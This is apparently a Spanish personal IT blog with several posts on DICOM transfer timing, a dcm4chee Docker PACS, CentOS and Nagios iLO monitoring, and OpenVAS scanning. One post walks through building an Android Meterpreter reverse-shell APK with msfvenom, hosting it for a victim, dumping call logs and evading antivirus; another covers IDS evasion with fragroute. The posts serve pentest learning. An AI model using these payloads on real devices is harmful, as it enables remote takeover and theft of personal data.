lunes, 21 de octubre de 2019

Protocolo DICOM: medir el tiempo de descarga de estudios (Wintel)


DCMTK es un toolkit para el testeado de una aplicación dicom cliente/servidor (también llamado SCU/SCP)

Vamos a utilizar los ejecutables de DCMTK, una vez descargados situar una sesión de CMD a la carpeta .. \dcmtk\ donde lo tengamos instalado.

A modo de prueba ejecutaremos el siguiente comando contra un PACs con el AE titile correspondiente que va a pedir un estudio:

movescu -v --study --call "SRVAGFWFM01" --aetitle "PCALMA" --key "0008,0052=STUDY" --key "0020,000D=1.2.124.113532.80.22153.16226.20191017.91050.9809773" 192.168.108.229 104

Este es el comando original de descarga de estudios, el cual vamos a insertar en un bat que medirá el tiempo de ejecución de este comando, esto nos servirá para determinar el tiempo de descarga ya que el comando al finalizar libera la conexión y el script nos dá el tiempo transcurrido.

Pero antes debemos ejecutar el nodo receptor SCP en el equipo que seleccionemos con el  siguiente comando el cual abrirá el puerto de recepción 104:

storescp 104 -aet PCALMA -od C:\Users\usralma\Desktop\Output

Creamos un bat llamado timecmd.bat e insertamos el comando anterior:

@echo off
@setlocal
set start=%time%

:: Estudio de tipo CT de 704 imagenes
C:\Users\roland.peralta\Desktop\HERRAMIENTAS\dcmtk\windows\movescu -v --study --call "DCM4CHEE" --aetitle "AE_ALMA3D_ROLAND" --output-directory "almalog" --key "0008,0052=STUDY" --key "0020,000D=1.2.250.1.59.1.999.10.20170210.16985655" 172.26.0.7 11112 
set end=%time%
set options="tokens=1-4 delims=:.,"
for /f %options% %%a in ("%start%") do set start_h=%%a&set /a start_m=100%%b %% 100&set /a start_s=100%%c %% 100&set /a start_ms=100%%d %% 100
for /f %options% %%a in ("%end%") do set end_h=%%a&set /a end_m=100%%b %% 100&set /a end_s=100%%c %% 100&set /a end_ms=100%%d %% 100
set /a hours=%end_h%-%start_h%
set /a mins=%end_m%-%start_m%
set /a secs=%end_s%-%start_s%
set /a ms=%end_ms%-%start_ms%
if %ms% lss 0 set /a secs = %secs% - 1 & set /a ms = 100%ms%
if %secs% lss 0 set /a mins = %mins% - 1 & set /a secs = 60%secs%
if %mins% lss 0 set /a hours = %hours% - 1 & set /a mins = 60%mins%
if %hours% lss 0 set /a hours = 24%hours%
if 1%ms% lss 100 set ms=0%ms%
:: Mission accomplished
set /a totalsecs = %hours%*3600 + %mins%*60 + %secs%
echo command took %hours%:%mins%:%secs%.%ms% (%totalsecs%.%ms%s total)


Resultado:



Así, para determinar los MB por segundo realizamos esta sencilla operación: Medimos el peso en la carpeta donde se han guardado los estudios, en este caso 356 MB y dividimos este valor por el tiempo total que llevó descargarlo 18.85 segundos, el total nos dará 18.88 MB / por segundo.




lunes, 14 de octubre de 2019

Configurar un PACs DICOM en un contendedor DOCKER

Instalar DOCKER DCM4CHEE V3
_________________________________________

En primer lugar, configurar una ip ESTATICA del servidor:
editar archivo:

vi /etc/sysconfig/network-scripts/ifcfg-eth0

BOOTPROTO=static
ONBOOT=yes
IPADDR=172.26.0.188
PREFIX=24
GATEWAY=172.26.0.250
DNS1=172.26.0.3
DNS2=8.8.8.8


Instalar DOCKER
yum install docker

Activar el deamon:
sudo systemctl start docker
sudo systemctl enable docker

Instalar containter DCM4CHEE v3
Comando: docker pull jodogne/dcm4chee

Configurar e iniciar DCM4CHEE
docker container run -p 8080:8080 -p 11112:11112 --name="pacs" jodogne/dcm4chee

Abrir los puertos del firewall interno:
firewall-cmd --add-port=11112/tcp --permanent
firewall-cmd --reload

Iniciar - Reiniciar DCM4CHEE (casos de reinicio del servidor)
docker start pacs

Mantener DCM4CHEE iniciado al reiniciar el servidor:

    crear script:
    vi iniciar_pacs.sh
    #!/bin/sh
    echo Iniciando PACs
    docker start pacs

    guardarlo en:
    /root/Desktop/

    dar derechos de ejecución:
    chmod +x iniciar_pacs.sh

    ejecutar crontab (inicio retrasado 90 segundos):
    crontab -e
    @reboot /bin/sleep 90 ; /root/Desktop/iniciar_pacs.sh

Ver instancias activas:
docker ps

Destruir contenedores (no activos):
Comando: docker system prune

Parar instancia:
docker stop pacs

Comprobar PUERTOS a la escucha:
netstat -antp | grep LISTEN

URL plataforoma (v3):
http://172.26.0.188:8080/dcm4chee-web3/

Configuración Nodo DICOM en el visor cliente:



Ver logs:
journalctl | grep pacs
docker logs --details pacs

Comprobar CARGA del servidor de DOCKER:
docker stats pacs

miércoles, 9 de octubre de 2019

Instalación de Linux Cent OS 7 (Simple)




  1. Descargar imagen del SO: CentOS-7-x86_64-Minimal-1810 
  2. Instalarlo sobre una VM, ej. Hyper-V
  3. Configurar DHCP o IP fija para acceder a Internet:
    • ver interfaces: ip add
    • cd /etc/sysconfig/network-scripts/
    • vi ifcfg-eth0
    • pulsar tecla insert para modificar
    • cambiar ONBOOT=yes (valor por defecto “no”)
    • ejemplo de configuración:
    • BOOTPROTO=static
      ONBOOT=yes
      IPADDR=172.26.0.188
      PREFIX=24
      GATEWAY=172.26.0.250
      DNS1=172.26.0.3
      DNS2=8.8.8.8
    • DEVICE=eth0
    • Guardar :wq<Return> (control+c para cambiar de modo)
    • reiniciar interfaz: /etc/init.d/network restart
    • probar ping a google.com
     4. Instalar net-tools:
    • yum install net-tools
    • + info: https://linuxconfig.org/howto-install-ifconfig-on-centos-7-linux
    5. Activar y modifcar Firewall:

    • sudo systemctl start Firewalld.service
    • Firewall-cmd --list-all
    • Obertura de puertos Firewall:
    • https://stackoverflow.com/questions/24729024/open-firewall-port-on-centos-7
   6. Crear el entorno gráfico (sin ejecución al inicio):

    • sudo yum -y groups install "GNOME Desktop"
    • iniciar el entorno con el comando : startx


jueves, 26 de septiembre de 2019

Tomar la temperatura del chassis HP en ILO5 con Nagios




Vamos a tomar la temperatura del chassis de un servidor HP a través de comandos SNMP para pasarle a Nagios una alarma en el caso del que el servidor se sobrecaliente por falta de ventilación o fallo de climatización.

He montado una maquina virtual con CentOS 7 (CentOS-7-x86_64-Minimal-1810.iso) corriendo sobre un servidor Wintel 2012 con Hyper-V.

El primer paso Instalar NAGIOS CORE (nagios-4.4.5.tar.gz) y  descargar las librerias de SNMP

Instalar el plugin check_snmp en /usr/local/nagios/libexec y darle permisos de acceso

chmod 755 check_snmp

Una vez instalado, editar los archivos siguientes para dar de alta los host y lo servicios. /usr/local/nagios/etc/objects
  • nagios.cfg (configuración general rutas)
  • hosts.cfg (basicamente las IP de los Host a auditar)
  • commands.cfg (son los comandos con las variables de servicios)
  • services.cfg (son los servicios a auditar)


Entrar en ILO y dar de alta usuario y credenciales con el que entraremos por SNMP desde Nagios
asegurarese tener los puertos 161 y 162 abiertos.  ir a Management - SNMP Settings y dar de alta un nuevo usuario, poner credenciales para el Protocolo de Autentificacion SHA y el Protocolo de Privacidad AES.



Entrar en la consola de Linux y ejecutar el comando con las credeciales y el OID que vamos a escojer, el cual nos devuelve la temperatura del chassis y luego escribirla en dichos archivos:

Código nagios.cfg:

# OBJECT CONFIGURATION FILE(S)
# These are the object configuration files in which you define hosts,
# host groups, contacts, contact groups, services, etc.

cfg_file=/usr/local/nagios/etc/objects/commands.cfg
cfg_file=/usr/local/nagios/etc/objects/contacts.cfg
cfg_file=/usr/local/nagios/etc/objects/timeperiods.cfg
cfg_file=/usr/local/nagios/etc/objects/templates.cfg
cfg_file=/usr/local/nagios/etc/objects/hosts.cfg
cfg_file=/usr/local/nagios/etc/objects/services.cfg 
# Definitions for monitoring the local (Linux) host
cfg_file=/usr/local/nagios/etc/objects/localhost.cfg
Código hosts.cfg:

         # DEFINICION DE HOSTS
         # These are the object configuration files in which you define hosts
define host {
    host_name                        ilo_srvhyperv01
    alias                                  ILO de srvhyperv01
    address                             172.26.0.152
    max_check_attempts        5
    check_interval                  1
    check_period                    24x7
    notification_interval         30
    notification_period           24x7
}

Código commands.cfg:

         # DEFINICION DE COMANDOS
         #Aquí es donde definimos los comandos a ejecutar, se pueden ejecutar previamente
         # en la linea de comandos para testearlo antes de escribir en este archivo.
# ILO 5 Proliant Server command
define command {
command_name check_ilo5_chassis_temp
command_line $USER1$/check_snmp -P 3 -U ilosnmp -L authPriv -a SHA -A authentication_passphrase -x AES -X privacy_passphrase- -H 172.26.0.152 -o $ARG1$ -w $ARG2$ -c $ARG3$
}
Código services.cfg:

         # DEFINICION DE SERVICIOS
         #Aquí es donde definimos los servicios que vamos a consultar
         # el simbolo ! define las variables $ARG$ que se van a pasar al archivo commands.cfg
         # en este caso !1.3.6.1.4.1.232.6.2.6.8.1.4.0.29   !50   !60
define service {
    host_name                            ilo_srvhyperv01
    service_description            check ilo5 chassis temp
    check_command                        check_ilo5_chassis_temp!1.3.6.1.4.1.232.6.2.6.8.1.4.0.29!50!60
    notifications_enabled          1
    max_check_attempts          5
    check_interval                    5
    retry_interval                      3
    check_period                      24x7
    notification_interval           30
    notification_period             24x7
    notification_options            w,c,r
}
Reiniciar Nagios:

service nagios restart

Resultado:



Otros plugins útiles:

http://william.leibzon.org/nagios/

Agentes de Nagios:

Monitoring Windows Machines · Nagios Core Documentation
https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/monitoring-windows.html

Monitoring Linux-Unix Machines · Nagios Core Documentation
https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/monitoring-linux.html

1. Instalar agente NSCP-0.5.2.35-x64.msi 
2. Instalar plugin check_nt en linux (si no estubiera) para comunicarse con el agente.
3. Editar archivo de configuracion y activar  las opciones a enabled
ruta: c:\Program Files\NSClient++\nsclient.ini
recordar poner la IP habilitada de Nagios para consultar el agente y la contraseña compartida.
4. Abrir los puertos del firewall puerto: 12489

5. Reiniciar el servicio NSclient Monitoring agent.

+ info sobre instalación de CentOS7 y Nagios Core:

how add host on nagios core
https://community.spiceworks.com/topic/1899607-how-add-host-on-nagios-core

install gcc
https://helloit.es/2012/01/no-acceptable-c-compiler-found-in-path/

Install Nagios Core on CentOS 7
https://linuxhostsupport.com/blog/how-to-install-nagios-core-on-centos-7/

Install net-tools
https://www.itzgeek.com/how-tos/mini-howtos/netstat-command-not-found-on-centos-7-rhel-7-quick-fix.html

Install wget
http://ayuda-it.blogspot.com/2011/07/instalacion-del-comando-wget-en-linux.html

listar servicios activos
https://www.jesusamieiro.com/como-comprobar-que-servicios-estan-en-ejecucion-en-un-sistema-linux/

Object Definitions
https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/3/en/objectdefinitions.html

problemas http forbidden
https://nksistemas.com/solucion-en-nagios-a-http-warning-http-1-1-403-forbidden/

Setup network
https://lintut.com/how-to-setup-network-after-rhelcentos-7-minimal-installation/

Abrir puerto 80 firewall
https://stackoverflow.com/questions/24729024/open-firewall-port-on-centos-7

NOTA:

Recordar modificar el archivo del sistema linux hosts (/etc/hosts) con las IPs y nombres que se nombren en el archivo hosts de Nagios (/usr/local/nagios/etc/objects).



sábado, 26 de mayo de 2018

Tècnicas de evasión de IDS: Modificar TTL con Fragroute

Cuando hacemos un ping hacia cualquier IP,  el Sistema Operativo genera un TTL, generalmente cada SO genera un TTL diferente que nos puede servir para determinar el SO del host que realiza el ping (Ping Request) y el SO del servidor que lo recibe (Ping Reply).

Practica 1: vamos a cambiar el TTL de nuestros pings para tratar de hacer creer a la red de destino que somos un SO diferente del que realmente somos. Ello podría ser útil en algún escenario de pentesting.

Utilizamos para ello el programa FragRoute, este programa fragmenta paquetes para tratar de esquivar un IDS. Vamos a configurar su archivo de configuración:

root@kali: # nano /etc/fragroute.conf
Tenemos un SO Linux con un TTL determinado, vamos a cambiarlo por 64 el cual corresponde generalmente a un SO Machintosh (ver correspondencias generales)

Añadimos esta linea al archivo de configuración:


ip_ttl 64






Guardamos con Ctrl+O e iniciamos fragroute con una IP de destino, por ejemplo:

root@kali: # fragroute -f /etc/fragroute.conf 192.168.1.37
Ahora podemos usar otra consola para realizar un ping al destino:


Fragroute empieza a modificar los paquetes que envia:


Tenemos a la escucha a Tshark con el que comprobamos que efectivamente se ha modificado el TTL (request) en nuestra IP virtual 10.211.55.3:


Si se fallase el ping a posteriori, podemos reiniciar nuestra pila de red con:

root@kali: # /etc/init.d/networking restart
___________

Una de las utilidades de los TTL es poner un TTL corto para que sea descartado después de pasar los tradicionales Firewalls/IDS.

Es una técnica de ataque a un host, el cual reensamblará los paquetes descartando los sobrantes por TTL expirado, esto implica que será el host el único que leerá el código del ataque y no el IDS. Se le conoce como un ataque por fragemntación TCP Chaff con TTL corto.

Existe también evasión de IDS mediante Bad Checksums en la capa TCP y opciones invalidas del paquete que se descartarán en el host destino.

Hoy en día hay IDS-IPS con capacidades avanzadas de análisis para detectar paquetes sospechosos. como por ejemplo  McAfee Network Security Platform . Esta plataforma opera en diferentes capas OSI detectando ataques con técnicas de ofuscación combinadas.

Existe un TEST http online que lanza ataques contra nuestro firewall con la finalidad de probar deteciones. (GitHub)

Es recomendable que el adminstrador del sistema se plantee no permitir fragmentación en la red si no es necesaria por tal de atacar de raiz esta vulnerabilidad.





miércoles, 23 de mayo de 2018

MSFvenom: Acceso remoto a móbiles Android

IMPORTANTE: Se va a realizar una práctica con fines de aprendizaje que demuestra el riesgo que puede significar aceptar una aplicación autoinstalable (APK) desde un origen no verificado.

En este caso el usuario dispone de un móvil Android 4.4.2 con la opción "Descarga de archivos de origenes desconocidos" activada.

1. Vamos a crear un archivo llamado android.apk el cual contendrá un ejecutable no cifrado el cual abrirá una conexión hacia nuestra máquina de nuestra red local:

root@kali: # msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 R > android.apk

2. Una vez creado el archivo lo subimos a uploadfiles.io por ejemplo.

3. Abrimos una sesión de Metasploit en nuestra computadora e introducimos los valores necesarios para poner una IP local y puerto a la escucha:

root@kali: # msfconsole
msf > use multi/handler
msf > set PAYLOAD android/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.11
msf > set LPORT 4444
msf > run 
4. En el móbil Android el usuario se descarga el archivo que subimos a uploadfiles.io y lo ejecuta a través del explorador de archivos. En el momento de ejecutarlo se abrirá una conexión local contra nuestra máquina:




A partir de este momento podemos ejecutar variedad de comandos contra el dispositivo como por ejemplo uno para volcar el registro de llamadas. para ver todos los comandos disponibles teclear "?"

meterpreter > dump_calllog

Para crear una conexión de un movil remoto a nuestra red interna se habrá de crear una regla en nuestro router que permita conexiones al puerto que hemos elegido 4444 con nuestra IP pública.

________

Crear un backdoor en Windows tiene un procedimiento similar, en este caso además aplicamos un encoder con la opción -e para ofuscar el código y esquivar el antivirus.

Además, usando el parámetro -i en  MSFvenom creará más iteraciones que puede ayudar a evadir el AV.








viernes, 11 de mayo de 2018

OpenVAS: Instalación, configuración y prueba

Vamos a instalar y configurar el escanner de vulnerabilidades de red y aplicaciones OpenVAS para luego lanzar una prueba a un único equipo de red, en este caso contra un AP de Cisco.

Es muy recomendable lanzarlo contra objetivos únicos o segmentos de red controlados ya que si lo hacemos contra toda la red es muy probable que se cuelgen los servidores, estaciones de trabajo, electrónica de Red, etc.

Instalación desde Kali Linux: Descargar el sofware e instarlo:

root@kali: # apt-get update
root@kali: # apt-get install openvas
Una vez instalado vamos a hacer un test de la configuración de OpenVAS:

root@kali: # openvas-check-setup

En este caso el test nos indica que actualizamos las definiciones de red NVT con el comando:

root@kali: # greenbone-nvt-sync
Una vez realizados los tests con éxito, ejecutamos openVAS:

root@kali: # openvas-start 
Se iniciarán los servicios de openVASy se abrirá automáticamente una ventana del explorador web con la interfaz Web. en la siguente captura se observa como se crearon las conexiones loopback:



Definir el usuario y contraseña para acceder a la interfaz web:

root@kali: # openvasmd --create-user=root --role=Admin && openvasmd --user=root --new-password=toor
Accedemos a la web con usuario: root password: toor
A continuación hacemos un scan inmediato la IP del AP, Ir al menú CONFIGURATION/TARGETS / New Target (click al icono superior izquierda en forma de estrella) / luego ir al menú SCANS / TASKS y click al icono superior iquierda en forma de estrella "New task" y seleccionar como target el que acabamos de definir en la configuración de targets. Pulsar Create e iniciar.



Pasados unos minutos vemos que ha detectado una vulnerabilidad "Form basic validation" que significa que el acceso con credenciales al AP no esta cifrado por el puerto 80:

Comprobamos con Tshark que efectivamente el trafico no esta cifrado a la hora de enviar el Usuario y contraseña al AP:

Ejemplo de un caso en el que capturamos el usuario y contraseña de una conversación previamente capturada con Tshark en una conexión sin cifrar; el siguente comando nos permite visulaizar el binario directamente:

root@kali: # less captura.cap


OpenVAS nos va ayudar a conocer  los puntos dèbiles de nuestra red y de esta forma podremos corregir sus vulnerabilidades.

_____   _____


Resumen con capturas de pantala de las fases que van desde el descubrimiendo de la vulnerabilidad con OpenVAS a su explotación con Metaesploit:

Resultados OpenVAS
En OpenVAS: Ver la Referencia CVE en los Resultados de las pruebas, apartado References
Consultar Referencia CVE en Duckduckgo.com por ejemplo.
Buscar  CVE para aplicar en Metaesploit en cvedetails.com y ver el apartado Metaexploit Modules.
Buscar el exploit con el CVE en Metaesploit con la numeración mostrada.